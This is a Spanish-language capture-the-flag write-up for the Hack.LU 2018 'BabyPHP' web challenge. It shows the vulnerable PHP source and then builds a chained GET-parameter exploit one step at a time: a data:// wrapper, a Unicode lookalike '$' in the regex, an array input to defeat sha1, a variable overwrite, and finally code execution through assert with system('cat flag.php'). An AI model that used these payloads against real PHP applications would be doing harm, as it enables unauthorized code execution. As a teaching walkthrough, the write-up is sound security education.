Hack.LU 2018 CTF - BabyPHP

PHP is a popular general-purpose scripting language that is especially suited to web development. Fast, flexible and pragmatic, PHP powers everything from your blog to the most popular websites in the world.

Can you untangle this mess?!

URL: https://arcade.fluxfingers.net:1819/

En esta ocasión decidimos hacer el primer reto de web que publicaron los de hack.lu.

El reto directamente te daba el código PHP de la página.

<?php

require_once('flag.php');
error_reporting(0);


if(!isset($_GET['msg'])){
    highlight_file(__FILE__);
    die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
    die('Wow so rude!!!!1');
}

echo "Hello Hacker! Have a look around.\n";

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
    die("lol no\n");
}

if(strlen($k2) == $bb){
    if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
        if($k2 == $cc){
            @$cc = $_GET['cc'];
        }
    }
}

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
    foreach ($_GET as $lel => $hack){
        $$lel = $hack;
    }
}

$‮b = "2";$a="‮b";//;1=b

if($$a !== $k1){
    die("lel no\n");
}

// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
// TODO
// echo $flag; 

Como se puede ver en la imagen, consiste en una serie de condiciones que hay que hacer bypass para poder obtener la flag. Vamos a dividir la explicación en diferentes fases para poder entender mejor cada una de ellas.

0x00. STEP 1

if(!isset($_GET['msg'])){
    highlight_file(__FILE__);
    die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
    die('Wow so rude!!!!1');
}

La primera condición simplemente comprueba que existe el parámetro msg enviado por GET. La segunda condición coge el valor de msg como nombre de fichero para cargar su contenido y comprueba que sea igual al string “Hello Challenge!”. Como no sabemos que fichero puede haber en el servidor que tenga ese contenido y no hay ningún filtro para el parámetro msg, nos ayudamos del wrapper “data” y codificamos el mensaje en base64.

Ya tenemos el primer bypass!

Payload:

msg=data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==

0x01. STEP 2

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
    die("lol no\n");
}   

Continuamos con otra condición sencilla de pasar. La primera premisa comprueba que el valor y el tipo de key1 convertido a integer sean diferentes a la variable $cc y la segunda premisa comprueba que el valor y el tipo de key1 sea igual que la variable $cc, pero esta vez sin convertir. Recordamos que los operadores === y !== también tienen en cuenta el tipo.

Por lo tanto con enviar el número 1337 ya cumple las dos premisas y conseguimos el segundo bypass.

Payload:

msg=data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==&key1=1337

0x02. STEP 3

@$k2=$_GET['key2'];

...

$cc = 1337;$bb = 42;

...

if(strlen($k2) == $bb){
    if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
        if($k2 == $cc){
            @$cc = $_GET['cc'];
        }
    }
}

La primera condición comprueba que la longitud del string que recibe con el parametro key2 sea igual al valor de $bb. A continuación empieza el primer dolor de cabeza. Hay que conseguir que key2 sea numérico y al mismo tiempo que no lo sea. En un principio parece que la regex termina con el símbolo de dolar forzando a que el valor que nosotros introduzcamos tenga que ser numérico, pero en realidad es un símbolo distinto (%EF%BC%84).

La siguiente condición fuerza a que el valor de key2 sea igual a $cc (1337), pero al mismo tiempo tiene que ser de longitud 42, ser solo números y terminar con el símbolo explicado anteriormente. Para ello vamos a utilizar el siguiente payload key2=000000000000000000000000000000000001337%EF%BC%84

Como podemos ver en el código, entra en juego otro parámetro cc.

Payload:

msg=data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==&key1=1337&key2=000000000000000000000000000000000001337%EF%BC%84

0x03. STEP 4

$cc = 1337;$bb = 42;

...

@$cc = $_GET['cc'];

...

if(substr($cc, $bb) === sha1($cc)){
    foreach ($_GET as $lel => $hack){
        $$lel = $hack;
    }
}

Ahora hay que buscar una colisión en sha1… je je je es bromi. Lo que comprueba la condición es que el sha1 de cc sea del mismo tipo y valor que el substring de cc a partir del offset marcado por $bb. Como no nos vamos a poner a colisionar sha1, podemos ayudarnos de las arrays cc[]=. De esta forma se cumple la condición de tipo y valor.

A continuación lo que hacer el bucle es crear nuevas variables. Podemos aprovechar esta funcionalidad para modificar el contenido de las variables ya existentes. Por ejemplo, si le pasamos el parámetro k1=lol, al realizar el bucle el valor de $k1 cambiará de 1337 a “lol”. Esta funcionalidad es de utilidad para el próximo bypass.

Payload:

msg=data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==&key1=1337&key2=000000000000000000000000000000000001337%EF%BC%84&cc[]=

0x04. STEP 5

$‮b=1;//;"b"=a$;"2" = b

if($$a !== $k1){
    die("lel no\n");
}

Esta parte también tiene truco. La primera línea en verdad esta utilizando el carácter %20%2e que muestra el contenido al revés del que está escrito. Por lo tanto, en realidad esa línea está haciendo lo siguiente:

$‮b = "2";$a="‮b";//;1=b

A continuación la condición compara el valor de $$a con $k1. Esta última variable ha sido modificada previamente. Primero tenía el valor 1337, luego con list($k1,$k2) = [$k2, $k1]; se intercambian los valores de $k1 y $k2. Finalmente podemos modificar el valor de $k1 en el bucle explicado en el STEP 4, así que le asignaremos el valor 2.

Recordamos que una variable con $$ tratará su valor como una variable y cogerá el valor que tenga esa variable. En este caso $$a="2" porque $a="b" y $b="2".

Payload:

msg=data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==&key1=1337&key2=000000000000000000000000000000000001337%EF%BC%84&cc[]=&k1=2 

0x05. STEP 6

// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
// TODO
// echo $flag;  

Ya estamos al final del reto. Pero la parte que imprime la flag está comentada…

Primero de todo assert_options(ASSERT_BAIL, 1) permite continuar con la ejecución si el assert falla. Gracias a esta opción podemos provocar un RCE en el assert que viene a continuación.

Para conseguir RCE, volvemos a apoyarnos en el bucle del STEP 4 y sobrescribimos $bb para inyectar código php. Como nos indica el código la flag está en flag.php, así que hacemos un cat de ese fichero y en el código fuente podemos ver la flag.

Payload:

bb=system('cat flag.php'); %23&msg=data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==&key1=1337&key2=000000000000000000000000000000000001337%EF%BC%84&cc[]=&k1=2

flag

**FLAG: ** flag{7c217708c5293a3264bb136ef1fadd6e}

Made with lots of coffee and Hugo.